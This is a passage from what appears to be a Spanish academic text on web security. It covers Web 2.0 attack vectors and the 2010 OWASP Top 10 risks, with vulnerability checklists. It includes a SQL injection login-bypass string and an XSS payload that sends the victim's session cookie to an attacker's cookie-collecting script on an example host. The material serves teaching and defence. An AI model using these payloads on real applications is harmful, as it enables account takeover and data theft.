la transacción de la web (www) y desarrollado por el W3C. Se trata de un protocolo
orientado a las transacciones, un modelo que sigue el esquema petición-respuesta
entre un cliente y un servidor. Define la comunicación entre el software navegador de
Internet y el software del servidor que publica las páginas consultadas.
TCP (Transmision Control Protocol): TCP es el protocolo de la capa transporte, que se
usa para crear conexiones seguras a través de las cuales se envían datos. TCP es uno
de los protocolos fundamentales de internet y da soporte a muchos otros protocolos
populares como HTTP, SMTP, SSH o FTP.
SSL (Secure Socket Layer): SSL se trata de un protocolo de conexión que se ejecuta
en una capa entre los protocolos HTTP, SMTP, NNTP y por encima del protocolo TCP.
Proporciona autenticación y privacidad en las conexiones mediante el uso de
criptografía. El protocolo se diseño con el objetivo de proveer privacidad y
confiabilidad a la comunicación entre dos aplicaciones. Se compone de dos capas:
o SSL Record Protocol. Ubicado sobre algún protocolo de transporte confiable
como por ejemplo TCP y usado para encapsular varios tipos varios tipos de
protocolos de mayor nivel.
o SSL Handshake Protocol. Es uno de los protocolos que pueden encapsularse
sobre la capa anterior y permite al cliente y al servidor autenticarse
mutuamente, negociar un algoritmo de cifrado e intercambiar las contraseñas
de acceso.
TLS (Transport Layer Security): se trata de un protocolo de comunicación de datos
creado para compartir documentos por internet de manera segura. TLS opera en la
capa de transporte. Es un protocolo que proporciona un canal de comunicación seguro
en la red usando criptografía para ello garantizando así la privacidad e integridad de
los datos.
DNS (Domain Name System): DNS es un protocolo de la capa de aplicación que
asocia nombres de dominio con direcciones IP y localización de servidores de correo
electrónico de cada dominio.
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12.4. Seguridad: ataques, riesgos y prevención
Hace unos años cuando solo existía la Web 1.0, la seguridad Web giraba en torno a la
seguridad de los propios servidores Web en aquellos momentos. No existían las aplicaciones
para Web y teníamos un modelo de Web completamente estático basado exclusivamente en
HTML.
Hoy en día el escenario es diferente; hemos evolucionado hacia una Web 2.0 donde las
personas están completamente intercomunicadas. Una web que dispone de múltiples
aplicaciones, donde se manejan gran cantidad de lenguajes y tecnologías y que hay que
estandarizar para que se comuniquen correctamente estos lenguajes y tecnologías y evitar así
que no haya ningún agujero de seguridad, lo que es una tarea bastante complicada.
El gran problema de la seguridad 2.0, es que se tenía que haber previsto en su momento. Los
lenguajes y tecnologías evolucionaron con la Web 2.0, pero la seguridad va un paso por
detrás, por lo que nos encontramos en algunos casos con graves problemas de seguridad.
Si a todos estos problemas que conllevan las tecnologías en sí, la definición de protocolos, etc.
los unimos a que existen también graves problemas de privacidad y múltiples ataques de
ingeniería social (phishing, spam, robo de contraseñas…), ataques debidos al desconocimiento
de la población, una población que no está concienciada, podemos englobar un gran agujero
de seguridad en la Web 2.0.
Una de las listas más interesantes y famosas de ataques Web 2.0 es la “Top 10 Web 2.0 Attack
Vectors” realizada por Shreeraj Shah. Podemos descargarla de InfosecWriters,
http://www.infosecwriters.com/texts.php?op=display&id=518.
12.4.2. Ataques en Lenguajes y Tecnologías

La seguridad 2.0 viene centrada básicamente en la explotación de vulnerabilidades mediante
AJAX y Servicios Web.
12.4.2.1. Top 10 Web 2.0 Vectores de Ataque

Se trata de un artículo publicado por Shreeraj Shah, fundador de Net Square en el año 2007.
Aunque parece que el artículo tiene algo de tiempo, la mayoría de estos ataques están
vigentes hoy en día en mayor o menos medida. Actualmente el artículo “Top 10 Web 2.0
Attack Vectors” es el artículo más reconocido en referencia a ataques 2.0.
Los principales ataques vienen de la mano de los Servicios Web que van más enfocados al lado
del servidor, las tecnologías AJAX y cliente RIA (Rich Internet Application) que mejoran la
interfaz en el lado del cliente. El lenguaje XML está presente tanto en la interfaz como en la
capa de transporte (HTTP/HTTPS), sustituyendo casi al HTML clásico. Actualmente se está
hablando mucho del HTML5, un “nuevo” lenguaje que engloba muchas de las tecnologías
actualmente vigentes.
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sociales
1. Cross-site Scripting (XSS) en AJAX

Las vulnerabilidades de Cross-site Scripting son bastante conocidas en el mundo Web ya que
se trata de uno de los ataques que se produce con más frecuencia. El hecho de que AJAX haga
uso de JavaScript hace que esta vulnerabilidad tome una nueva dimensión.
Existía un gusano llamado Yamanner que explotaba las oportunidades de XSS en la llamada
de AJAX de Yahoo mail. Otro gusano también conocido llamado Samy explotaba las
vulnerabilidades de XSS de MySpace.
En muchas ocasiones el atacante envía a la víctima de manera malintencionada a visitar una

determinada página Web haciendo así que se ejecute código malicioso.
2. Envenenamiento XML
La gran mayoría de Webs 2.0 y aplicaciones 2.0 tratan datos en XML entre cliente y servidor.
Las aplicaciones Web consumen bloques de XML que provienen de clientes AJAX.
Existe la posibilidad de crear bloques de XML malformado, como ocurre con el SQL en el
ataque Cross-site Scripting. En ocasiones se aplica una técnica recursiva cargando nodos
similares de XML muchas veces. Si se usa esta técnica y se envía este código mal formado al
servidor de manera intencionada y múltiples veces, se podría llegar a generar una Denegación
de Servicios (DoS).
Existen dos tipos de mecanismos de análisis de la sintaxis de XML en el lado del servidor que
son SAX y DOM.
SAX o “Simple API for XML” es una api para usar XML en JAVA principalmente y
para otros lenguajes de programación.
DOM o “Document Object Model” es una API que proporciona un conjunto de
objetos para representar documentos HTML o XML.
Este ataque también se vale de los servicios web para consumir mensajes SOAP (Simple
Object Access Protocol), que en definitiva son mensajes XML. La función básica de SOAP es
definir un formato de mensaje estándar (basado en XML) que encapsula la comunicación
entre aplicaciones.
A gran escala la adaptación de XML en la capa de aplicación abre nuevas oportunidades para
usar ésta como nuevo vector de ataque. Si permitimos que existan referencia externas de
nuestro código XML podría ser manipulado por un atacante. Esto podría provocar la inyección
de código malicioso o aperturas de conexiones TCP pudiendo ser aprovechadas por un
atacante.
El envenenamiento del esquema XML es otro vector de ataque que podría cambiar el flujo de
ejecución. Esta vulnerabilidad pude ayudar al atacante a obtener información confidencial
comprometida.
Para corregir esta vulnerabilidad, todo el código XML que llegue a nuestro servidor deberá ser
valorado previamente.
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sociales
3. Ejecución de código malicioso AJAX

Las llamadas del código AJAX se ejecutan sin necesidad de que haya interacción con el usuario
final, de manera silenciosa. Esto provoca que éste usuario final no sea capaz de determinar si
realiza llamadas silenciosas usando el objeto XML HTTP Request, es decir, solicitudes de vía
HTTP de XML. De esta manera el usuario podría acceder a una web maliciosa y
aprovechándose así de alguna vulnerabilidad, por ejemplo, lanzar un exploit que aproveche
una vulnerabilidad de nuestro navegador y poder así acceder a la máquina. Cuando el
navegador hace una llamada AJAX a un sitio web, la página realiza solicitudes de cookies para
cada petición. Esto podría llevar a comprometer determinada información de sesión. Si
navegamos a la vez que estas solicitudes de cookies de autenticación están activas y nos
vamos a la Web del atacante, en esta web se podría ejecutar código AJAX de manera
silenciosa que realizara llamadas de backend a éstas cookies de sesión, pudiendo enviar
información confidencial a la web del atacante., conduciendo a una violación de la seguridad y
pérdida de información crítica confidencial.
4. Inyección RSS /Atom

La inyección de feeds de RSS o Atom es un nuevo ataque de Web 2.0. Los feeds son un medio
de intercambio de información en portales y aplicaciones Web, principalmente en foros. Estos
son consumidos por aplicaciones Web y enviados al explorador en el lado del cliente.
Esta vulnerabilidad consiste en inyectar código de JavaScript en RSS o Atom para que sea
ejecutado por el navegador en el lado del cliente. Todos los navegadores hoy en día son
capaces de mostrar feeds de RSS o Atom. El usuario final visita el sitio Web que cargará un
script malicioso que podría contener una secuencia de comandos que pueden instalar
malware o secuestrar cookies de sesión.
Éstos deberían validar el contenido de la aplicación antes de enviarla al cliente para evitar la
ejecución de código arbitrario. Con RSS y Atom los feeds se convierten en la parte integrante
de las aplicaciones Web, es importante filtrar determinados caracteres en el lado del servidor
antes de enviarlos al usuario final.
5. Enumeración y escaneo WSDL

WSDL (Web Services Definition Language) es una interfaz de los Servicios Web. Este archivo
proporciona la clave de la información acerca de las tecnologías, métodos expuestos,
patrones de invocación, etc.
Esta información es muy sensible y puede ayudar en la definición de métodos de explotación.

Determinadas funciones innecesarias o métodos se mantienen abiertos y pueden causar un
potencial desastre en las Web mediante explotación de vulnerabilidades en los servicios Web.
Los atacantes podrán encontrar mucha información observado lo que se publica en nuestros
servicios web. Deberíamos proporcionar acceso limitado a nuestros WSDLs o proteger el
archivo.
Se podrían descubrir varias vulnerabilidades utilizando explotación de WSDL.
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6. Validación en rutinas AJAX desde el lado del cliente

Las aplicaciones Web 2.0 basadas en AJAX usan rutinas que realizan un trabajo muy tedioso
en el lado del cliente como validaciones en el cliente para el tipo de datos, control de
contenidos, campos de fecha, etc.
La validación de cliente en aplicaciones Web 2.0 es muy completa. Algunos desarrolladores

para evitarse complicaciones configuran el servidor para que no haga estas validaciones. Esto
es un error porque sería fácil crear una petición y enviarla al servidor saltándose la validación
del cliente.
Las validaciones del cliente deberían siempre estar respaldadas por las validaciones del
servidor y no dejar la validación solo a cargo de las rutinas de AJAX.
Es posible superar las validaciones basadas en AJAX y hacer POST o peticiones GET
directamente a la aplicación pudiéndose producir ataques de inyección de SQL, inyección
LDAP, etc. que podría comprometer el Website y los recursos clave de la aplicación.
Este nuevo vector de ataque expande las vulnerabilidades de ataque mediante AJAX.
7. Problemas asociados al enrutado de servicios Web

Los protocolos de seguridad de servicios Web tienen servicios de WS-Routing
WS-Routing permite enviar mensajes SOAP que viajen en una secuencia específica de varios
nodos diferentes en Internet. Determinados mensajes cifrados atraviesan estos nodos. Si un
nodo de ese camino se ve comprometido, el mensaje SOAP también lo estará.
Esto podría suponer una violación grave de la seguridad para los mensajes SOAP.
8. Manipulación de parámetros con SOAP

Los servicios Web consumen información y variables de los mensajes SOAP. Es posible
manipular esas variables. Por ejemplo, “<id>10</id>” es uno de los nodos de los mensajes
SOAP. Si un atacante puede comenzar a manipular este nodo y probar diferentes inyecciones
de SQL, LDAP, XPATH o comandos de consola y pudiera explorar los posibles vectores de
ataque podría hacerse con algunas máquinas internas. Una incorrecta o insuficiente validación
de entradas en el código de los servicios Web permitiría a la aplicación Web verse
comprometida.
Se podrían crear mensajes SOAP malformados que intenten realizar inyecciones de tipo SQL,
XPATH, LDAP o comandos del sistema.
9. Inyección XPATH en mensajes SOAP

XPATH (XML Path Language) es un lenguaje para realizar consultas de documentos XML
similar a las consultas SQL donde se pueden suministrar parámetros para hacer consultas a la
bases de datos. Es algo parecido a la inyección SQL en bases de datos. Utiliza XPATH como
lenguaje de consulta y documentos basados en documentos XML como destino del ataque.
Las capacidades de análisis de XPATH están soportadas por muchos idiomas. Las aplicaciones
web consumen grandes documentos de XML y en muchas ocasiones las aplicaciones toman la
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aportación del usuario final y las declaraciones en forma XPATH. Estas secciones de código
son vulnerables a inyección XPATH. Si la inyección XPATH se realiza con éxito, un atacante
puede pasar por alto los mecanismos de autenticación o causar pérdida de información
confidencial.
Hay pocos defectos conocidos de XPATH que se pueden aprovechar por un atacante. La única
manera de bloquear este vector de ataque es proporcionando la validación de entrada
correcta antes de pasar valores a una declaración de XPATH.
10. Manipulación de RIAs (Rich Internet Applications)

Las aplicaciones vía Web, las Rich Internet Applications (RIA), hacen uso de las interfaces de
usuario muy ricas que utilizan componentes de ActiveX, Flash o Applets, que pueden ser
objetivo de ataque para insertar virus o malware en los servidores Web.
Uno de los principales problemas de este vector de ataque viene de la administración de

sesiones que se ejecuta en el navegador, intercambiar y compartir la misma sesión. Al mismo
tiempo un atacante puede realizar ingeniería inversa con el archivo binario y descomponer el
código. Es posible parchear estos archivos binarios y desviar alguna autenticación lógica
contenida en el código.
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12.4.3. Riesgos en Lenguajes y Tecnologías
12.4.3.1. OWASP Top 10 Web Application Security Risks

En este apartado vamos analizar cuáles son los ataques web más frecuentes según el OWASP
u Open Web Application Security Project (Proyecto de Seguridad de Aplicaciones Web
Abiertas) que podemos consultar en su página web http://www.owasp.org/.
Se trata de un proyecto de código abierto sin tener ningún tipo de asociación corporativa, lo
que lo hace bastante flexible a la hora de exponer información. Se podría decir que su página
web es como la Wikipedia de la seguridad web.
En muchas ocasiones el atacante no conoce que exista un agujero de seguridad en concreto

en un servidor, sino que conoce una vulnerabilidad y dispone de un exploit o de una
herramienta para explotarla y va buscando un sistema al que atacar, puede que no se busquen
objetivos concretos. En otras ocasiones, los ataques saben perfectamente el objetivo y buscan
vulnerabilidades en ese sistema susceptible de ser atacado. Normalmente en este caso se
trata de empleados que ya no trabajan en la empresa o que quieren acceder al sistema por
alguna razón. Este caso suele ser más problemático aunque también se realizan ataques por
personas ajenas con el fin de obtener información confidencial u obtener alguna recompensa
económica.
El OWASP dispone de varios proyectos de documentación, que se actualizan de manera

constante y que podemos consultar de manera completamente gratuita.
El documento que nos interesa a nosotros es el “OWASP Top 10 Web Application Security
Risks”, que trata las 10 vulnerabilidades más explotadas actualmente en aplicaciones vía Web.
Podemos consultar este Top 10 en

http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project. La última versión data
de abril del 2010.
Las vulnerabilidades que se tratan en este proyecto son:
- 1. Técnicas de inyección.
- 2. Cross-site Scripting (XSS).
- 3. Pérdida de autenticación y gestión de sesiones.
- 4. Referencia indirecta insegura a objetos.
- 5. Cross-site Request Forgery (CSRF).
- 6. Configuración errónea de la seguridad.
- 7. Almacenamiento criptográfico inseguro.
- 8. Fallo de restricción de acceso por URL.
- 9. Protección insuficiente de la capa de transporte
- 10. Redirecciones y reenvíos no validados.
Todos estos ataques se producen de manera frecuente en los websites de Internet. Vamos a
analizar y ver en qué consiste cada uno de ellos.
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sociales
1. TÉCNICAS DE INYECCIÓN
Las técnicas de inyección afectan principalmente a código SQL, comandos del sistema
operativo o inyección LDAP o Lightweight Directory Acess Protocol (Protocolo Ligero de
Acceso a Directorios).
Esta vulnerabilidad se produce cuando determinados datos no confiables52, se envían a un

intérprete como parte de un comando del sistema operativo o una consulta a una base de
datos. Estos datos se tratan finalmente de datos hostiles que enviará el atacante al servidor y
que con ellos puede engañar al intérprete, para que ejecute un comando no deseado o tener
acceso a información privilegiada.
Estas técnicas de inyección son parecidas a las de cross-sitescripting que veremos más
adelante, pero estás tratan de inyectar código SQL directamente en la parte del servidor,
también en muchas ocasiones se realiza la inyección mediante formularios. Se envían datos al
servidor que éste no valida de manera adecuada y se produce la inyección normalmente a
través de consultas SQL. El atacante manipula los datos de la entrada para forzar al intérprete
a ejecutar consultas para extraer, modificar o eliminar registros de la base de datos.
Escenario
a. Atacante: Cualquier persona externa o interna, incluso administradores que puedan enviar
datos no confiables al sistema.
b. Ataque: El atacante envía texto simple basado en la sintaxis del intérprete, explotando una
vulnerabilidad del sistema. Casi cualquier fuente de datos puede ser un objetivo de inyección,
incluidas fuentes internas de datos. Existen una infinidad de foros 53 con ejemplos de
inyecciones de SQL básicos y que en muchos casos increíblemente funcionan.
- Nivel del ataque: FÁCIL.

- Debilidades de seguridad:
o Frecuencia de este ataque en la red: COMUN.
o Detectable: MEDIO.
- Impacto del ataque: SEVERO.
52
Los datos no confiables provienen del término inglés “untrusted data”. Este término es utilizado exclusivamente en el ámbito
de la seguridad informática para referirse a una fuente de información desconocida, que podría ser potencialmente dañina para el
sistema.
53
Elhacker.net, ejemplos de inyecciones SQL comunes,
http://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.html.
Página 186
sociales
c. Debilidades de seguridad: Los fallos de inyección ocurren cuando la aplicación manda

datos no confiables a un intérprete. Las vulnerabilidades de inyección son muy frecuentes,
sobre todo en consultas SQL, consultas LDAP, XPath, comandos del sistema operativo,
código heredado, fallos en argumentos del programa, etc. Los fallos de inyección son fáciles
de descubrir examinando el código, pero más complicados de descubrir vía testing. Algunos
escáneres de vulnerabilidades ayudan a los atacantes a encontrar agujeros de seguridad de
este tipo en aplicaciones web. Lo normal es que los atacantes no usen estos escáneres porque
dejan muchas huellas y el firewall de la máquina podría detectarlos y cortar la conexión con
esa IP.
d. Impacto técnico: Este ataque puede producir la pérdida de datos, corrupción de los datos o
denegación de acceso. En ocasiones el ataque puede llevar a tomar el control completo del
servidor web o base de datos atacados.
e. Impacto del negocio: Dependerá del valor de los datos afectados y la ejecución del
intérprete. Todos los datos podrían ser robados, modificados o incluso eliminados. La
reputación de la empresa podría ser dañada también.
¿Soy vulnerable a la Inyección de código?

La mejor manera de averiguar si una aplicación es vulnerable a la inyección es verificar que el
uso de intérpretes, separa claramente los datos en sí de lo que son comandos o consultas.
Para las llamadas SQL, esto significa que el uso de variables se une en todas las declaraciones
preparadas y procedimientos almacenados evitando así consultas dinámicas.
Podemos chequear el código para ver si la aplicación hace uso de los intérpretes de manera
segura. Las herramientas de análisis de código nos pueden ayudar a realizar un análisis de la
seguridad de los intérpretes y rastrear el flujo de datos de la aplicación. También podemos
realizar test de penetración para observar las vulnerabilidades que tenemos y poder
corregirlas.
Escáneres dinámicos automatizados del sistema nos pueden ayudar a ver si existen
vulnerabilidades y son explotables por la inyección de código. Pero los escáneres no son
fiables 100%, en ocasiones no pueden llegar a los intérpretes por lo que nos tenemos que
apoyar en otras herramientas.
Página 187
sociales
Ejemplo de un escenario de ataque

Un recurso muy utilizado es forzar a que termine una consulta cerrando las comillas que se
suponen previamente abiertas en el código y se introduce una condición verdadera del tipo
“ejemplo=true”. Ejecutando este tipo de código podemos saltarnos las pantallas de login y
obtener o modificar los datos de usuario como la password y datos privados. En determinados
sistemas operativos, como en Microsoft SQL Server, si disponemos de privilegios de
administrador podríamos ejecutar algunos comandos del sistema operativo, abrir una consola
remota, vincularlo a un determinado puerto mediante netcap consiguiendo así el control de la
máquina de manera completa.
La aplicación usa datos no confiables para la construcción de la siguiente llamada SQL:
String query = "SELECT * FROM usuarios WHERE nombreDeUsario='" +

request.getParameter("nombreDeUsuario") +"'";
El atacante modifica el parámetro “nombreDeUsuario” en su navegador para enviar or

'1'='1. Esto cambia el sentido de la consulta para devolver todos los registros de la base de
datos en lugar de solo el usuario que se pretende.
http://miPFCweb20.es/app/accountView?nombreDeUsuario=' or '1'='1
En el peor de los casos, el atacante usa esta vulnerabilidad para invocar procedimiento
especiales almacenados en la base de datos que permiten hacerse con el control de la base de
datos y posiblemente incluso del servidor que aloja la base de datos.
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sociales
2. CROSS-SITE SCRIPTING (XSS)
Esta vulnerabilidad ocurre cuando una aplicación toma datos no confiables y los envía a un
navegador Web sin necesidad de validación adecuada. El cross-site scripting permite a los
atacantes ejecutar scripts en el navegador de la víctima, que puede secuestrar sesiones de
usuario, desconfigurar un sitio Web o redirigir al usuario a Websites maliciosos (podría
realizarse de esta manera un ataque de phising).
Se trata de un tipo de inyección HTML, se produce cuando una aplicación toma datos que
introduce el usuario y los envía al navegador sin validarlos o codificarlos. Normalmente esto se
realiza mediante formularios en páginas Web o post de foros, donde se presupone que el
usuario va a introducir en los campos los datos con el formato adecuado. Si estos campos no
se validan podemos ser capaces de introducir código malicioso de manera no muy difícil, por
ejemplo, mediante tecnologías como JavaScript.
Escenario
a. Atacante: Cualquier persona externa o interna, incluso administradores que puedan enviar
datos no confiables a la Web.
b. Ataque: El atacante enviará datos codificados de determinada manera a una web que el
interpreté no validará pudiendo así acceder al sistema. Es fácil de detectar este tipo de
ataques si se examina el código.
- Nivel del ataque: MEDIO.

o Frecuencia de este ataque en la red: MUY EXTENDIDO.
o Detectable: FÁCIL.
- Impacto del ataque: MODERADO.
c. Debilidad de la seguridad: La vulnerabilidad de Cross-site Scripting es el fallo de seguridad

más frecuente en web. Se produce cuando una aplicación incluye datos suministrados por el
usuario en una página Web, enviando datos al navegador sin validar o codificar
adecuadamente de ese contenido.
Hay tres tipos de fallos XSS conocidos:
- Almacenados.
- Reflejados.
- DOM o Document Object Model (Modelo de Objetos de Documento) basados en XSS.
La detención de la mayoría de fallos de XSS es bastante sencilla a través de test o analizando
el código fuente.
d. Impacto técnico: Los atacantes pueden ejecutar scripts en el navegador de la víctima

secuestrando sesiones de usuario, desconfigurando sitios web, insertando código hostil,
redirigiendo a los usuarios, secuestrando la sesión del navegador del usuario mediante
malware, etc.
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sociales
e. Impacto del negocio: El impacto dependerá del valor de los datos afectados y de los datos
procesados. Podría dañar la reputación de la empresa.
¿Soy vulnerable al Cross-site Scripting?

Hay que asegurarse que todos los datos de entrada suministrados por el usuario enviados al
navegador sean seguros (a través de validación de entradas), y que las entradas de usuario
sean apropiadamente escapadas antes de que sean incluidas en la página de salida. Una
apropiada codificación de salida asegura que los datos de entrada sean siempre tratados
como texto en el navegador, en lugar de contenido activo que puede ser ejecutado.
Aquí tendremos un problema y es que en cada aplicación Web se genera páginas de salida de
manera diferente y se utilizan diferentes intérpretes del lado del cliente como JavaScript,
ActiveX, Flash o Silverlight, que hace difícil la detención automatizada. Por lo tanto, la
cobertura total requiere una combinación de revisión de código manualmente y realizar test
de acceso a la bases de datos o de acceso a la Web mediante formularios, de manera manual
también.
Las tecnologías Web 2.0 como AJAX, hacen que el Cross-site Scripting sea más difícil de
detectar a través de herramientas automatizadas.

La aplicación usa datos no confiables para la construcción del siguiente código de HTML sin
validación o incorrectamente codificados:
(String) page += "<input name='tarjetaDeCredito' type='TEXT‘value='" +

request.getParameter("tdc") + "'>";
El ataque modifica el parámetro “tdc” en su navegador por:
'><script>document.location='http://miPFCweb20.es/atacante/cgi-
bin/cookie.cgi?foo='+document.cookie</script>'.
Esto permite modificar el periodo de identificación de sesión de la victima para ser enviado a
la Web del atacante, permitiendo secuestrar la sesión actual del usuario. Estos ataque pueden
usar Cross-site Scripting y también para acabar con cualquier defensa CSRF o Cross-site
Request Forgery, que pudiera emplear la aplicación. Posteriormente hablaremos más en
profundidad de CSRF.
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sociales
3. PÉRDIDA DE AUTENTICACIÓN Y GESTIÓN DE SESIONES

Esta vulnerabilidad va enfocada a funciones relacionadas con la autenticación de aplicaciones
y administración de sesiones que no se aplican a menudo correctamente, lo que permite a los
atacantes recoger contraseñas comprometidas, claves, tokens de sesión o explotar otros fallos
de la aplicación asumiendo la identidad de otros usuarios.
La autenticación es un aspecto crítico en este proceso, incluso los mecanismos de

autenticación sólida pueden ser saltados por fallos en funciones de administración de
credenciales del tipo cambio de contraseña, olvidé mi contraseña, recordé mi contraseña,
actualización de cuentas y otras funciones administrativas relacionadas. Este tipo de ataque
se produce frecuentemente en muchas aplicaciones web y todas las funciones de
administración de cuentas deberán exigir doble autenticación incluso si el usuario tiene un id
de sesión válido.
Escenario
a. Atacante: Atacantes externos y usuarios con sus propias cuentas, que pueden intentar
robar las cuentas de otros usuarios.
b. Ataque: El atacante usa fugas o fallos en el autenticación o funciones de administración de

sesión (por ejemplo cuentas expuestas, contraseñas, identificadores de sesión) para suplantar
la identidad de los usuarios.

o Frecuencia de este ataque en la red: COMÚN.
c. Debilidad de la seguridad: Los desarrolladores a menudo construyen esquemas

personalizados de autenticación y gestión de sesiones, pero la construcción correcta de estos
esquemas no es nada fácil. Con frecuencia estos esquemas tienen vulnerabilidades en áreas
como cerrar la sesión, administración de contraseñas, tiempos de espera, pregunta secreta,
actualizaciones de cuentas, etc. La búsqueda de estos agujeros de seguridad puede ser difícil
en ocasiones ya que cada aplicación es diferente tanto para el administrador de cuentas como
para el atacante.
d. Impacto técnico: Las vulnerabilidades podrán autorizar algunas cuentas para que puedan
atacar. Una vez que esto ocurra, el atacante puede hacer cualquier cosa que la victima pudiera
hacer, es decir, que dependerá de los privilegios asignados a esa cuenta. Las cuentas con
privilegios son blancos frecuentes.
e. Impacto del negocio: Dependerá del valor de los datos afectados y de los datos
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sociales
¿Soy vulnerable?
Lo primero que tendremos que hacer será proteger las credenciales y los identificadores (IDs)
de sesión:
- ¿Se protegen siempre las credenciales de sesión usando funciones hash o

encriptación?
- ¿Pueden adivinarse las credenciales o ser sobrescritas a través de funciones débiles de
sesión de cuentas, como creaciones de cuentas, cambios de contraseña, recuperar
contraseñas, etc.?
- ¿Son los identificadores de sesión mostrados en la dirección URL?
- ¿Son los IDs de sesión vulnerables a ataques de fijación de sesión?
- ¿Tienen los IDs de sesión timeout?
- ¿Pueden los usuarios hacer log out para abandonar el sistema?
- ¿Son las contraseñas, IDs de sesión y otras credenciales enviadas solo a través de
conexiones TLS (Transport Layer Security)?

Podemos poner varios ejemplos:
- Ejemplo 1: Aplicación de reservas de billetes de tren, que admite reescritura de

direcciones URL, poniendo los usuarios en la URL:
http://miPFCweb20.es/ventas/objetosdeventa;sessionid=anavillaVFG
45C8?dest=Holanda
El usuario Jaime González desea dar a conocer a sus amigos la URL de la venta
mandando por correo el enlace sin saber que se está reflejando su ID de sesión en la
dirección Web.
- Ejemplo 2: Los tiempos de espera (timeouts) de la aplicación no se establecen
adecuadamente. Supongamos que Jaime González compra el billete desde un
ordenador público. En lugar de hacer log out seleccionando “cerrar sesión”´, el usuario
cierra el navegador y se va. Un nuevo usuario o atacante abre el navegador y Jaime
González sigue autenticado.
- Ejemplo 3: Se produce un ataque Web y el atacante se hace con el acceso a la base de
datos y accede a las contraseñas del sistema. Las contraseñas no están cifradas,
exponiendo así las contraseñas de cada usuario al atacante.
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sociales
4. REFERENCIA DIRECTA INSEGURA A OBJETOS

Una referencia directa a un objeto hecha de manera insegura, se produce cuando un
desarrollador Web, expone en la página una referencia a un objeto de implementación interna
como un archivo, directorio, base de datos, registro, clave, URL, etc. sin un control de acceso u
otra protección, pudiendo así los atacantes manipular estas referencias al acceso no
autorizado de datos. Cuando permitimos que estos datos de carácter privado sean accesibles
sin ningún tipo de control, nuestro sistema está siendo expuesto a ser vulnerable frente a los
posibles atacantes. El primer ejemplo es hacer una búsqueda en Google con el argumento
“/index.html” y podremos ver miles de páginas que exponen las raíces de sus servidores en
todo el mundo.
Escenario
a. Atacante: Deberemos considerar los privilegios que tienen los usuarios que acceden a
nuestro sistema dependiendo de si tienen acceso total o parcial a determinados ficheros.
b. Ataque: El atacante, quien es un usuario del sistema autorizado, simplemente cambia un

valor del parámetro que se refiere directamente a un objeto del sistema a otro objeto que el
usuario no está autorizado. ¿Tendrá acceso?

c. Debilidad de la seguridad: Las aplicaciones usan normalmente el nombre real o la clave de

un objeto cuando generan páginas Web. Éstas no siempre verifican que el usuario esté
autorizado para el objeto de destino. Esto da lugar a una inseguridad en el objeto de
referencia. Si usamos testeadores en nuestra Web que pueden manipular fácilmente los
valores del parámetro para la detección de tales fallos y análisis de código mostrarán
rápidamente si la autorización se hace de manera adecuada o no.
d. Impacto técnico: Estas vulnerabilidades pueden comprometer todos los datos que pueden
ser referenciados por la referencia directa. A menos que el espacio de nombres sea escaso, es
fácil para un atacante tener acceso a todos los datos disponibles de ese tipo mediante la ruta
mostrada en la URL.
e. Impacto del negocio: Dependerá del valor de los datos afectados y de los datos
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sociales
¿Soy vulnerable?
La mejor manera de averiguar si una aplicación es vulnerable a las referencias directas a
objetos inseguras es verificar que las referencias a todos los objetos tienen defensas
apropiadas.
Habrá que considerar:
- Para las referencias directas a los recursos restringidos, la aplicación necesita verificar
si el usuario está autorizado para acceder a los recursos exactos que se han solicitado.

- Si la referencia es indirecta, la asignación desde la referencia directa deberá limitar los
valores autorizados para la revisión del usuario. La revisión de código de la aplicación,
deberá comprobar rápidamente si uno u otro enfoque se llevan con seguridad.
Los test también son eficaces para identificar referencias de objetos directos y ver so seguras
o no. El problema es que las herramientas automatizadas normalmente no buscan tales
defectos, porque no pueden reconocer lo que requiere de protección o lo que es seguro o no
es seguro.

Supongamos que una aplicación vía Web, utiliza sin verificar los datos una llamada SQL que
tiene acceso a la información de la cuenta:
String query = "SELECT * FROM numeroDeUsuario WHERE usuarios = ?";
PreparedStatementpstmt=connection.prepareStatement(query , … );
pstmt.setString( 1, request.getparameter("acct"));
ResultSetresults = pstmt.executeQuery( );
El atacante simplemente modifica el parámetro “numeroDeUsuario” en su navegador para

enviar cualquier número de cuenta que ellos quieran. Si no se verifica, el atacante puede tener
acceso a cualquier cuenta de usuario, en lugar de la cuenta sólo el cliente al que va dirigido.
http://miPFCweb20.es/app/accountInfo?numeroDeCuenta=notmynumeroDeCuent
a
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sociales
5. CROSS-SITE REQUEST FORGERY (CSRF)

Un ataque de Cross-site Request Forgery (Falsificación de Petición en Sitios Cruzados), fuerza
una sesión en el navegador de la víctima para enviar una petición HTTP olvidada, incluida la
cookie de sesión de la víctima y cualquier otra información de autenticación a una aplicación
Web vulnerable. Esto permite al atacante a forzar al navegador de la victima a generar
peticiones de la aplicación vulnerable pensando que son peticiones legítimas por parte de la
víctima.
Escenario
a. Atacante: Podría tratarse de cualquier persona que pueda engañar a los usuarios a
presentar una solicitud en su sitio Web.
b. Ataque: El atacante crea un conjunto de peticiones HTTP. Envían estas peticiones a través
de etiquetas de imágenes falseadas, XSS u otras técnicas para que acceda así a su página web.
Si el usuario estuviera autenticado el atacante podría tener éxito.

o Frecuencia de este ataque en la red: EXTENDIDO.
c. Debilidad de la seguridad: Este ataque toma ventaja cuando las aplicaciones Web
permiten a los atacantes predecir todos los detalles de una acción en particular.
Desde navegadores que envían credenciales automáticamente como cookies de sesión, los
atacantes pueden crear páginas Web maliciosas que generan peticiones HTTP invisibles para
el usuario final.
Detectar los fallos de CSRF es bastante fácil a través de test de penetración o análisis de
código.
d. Impacto técnico: Los atacantes podría cambiar cualquier dato o acceder a los servicios del
sistema al que esté autorizada la victima, es decir, dependiendo de los privilegios de esta.
e. Impacto del negocio: Considerando el valor del negocio de los datos afectados o funciones
de la aplicación el impacto será menor o mayor. Puede dañar la reputación de la empresa.
¿Soy vulnerable?
La manera más fácil de comprobar si una aplicación es vulnerable es ver si cada link y
formulario contiene un token impredecible para cada usuario. Si esto es así los atacantes
pueden realizar peticiones maliciosas. Centrarse en los vínculos y en las formas que
representan funciones cambiando el estado, ya que esos son los objetivos más importantes
del CSRF.
Habrá que verificar las operaciones que se realizan en varios pasos, ya que no son inmunes a
estos ataques. Los atacantes pueden fácilmente realizar una serie de peticiones mediante el
uso de varias etiquetas o uso de JavaScript.
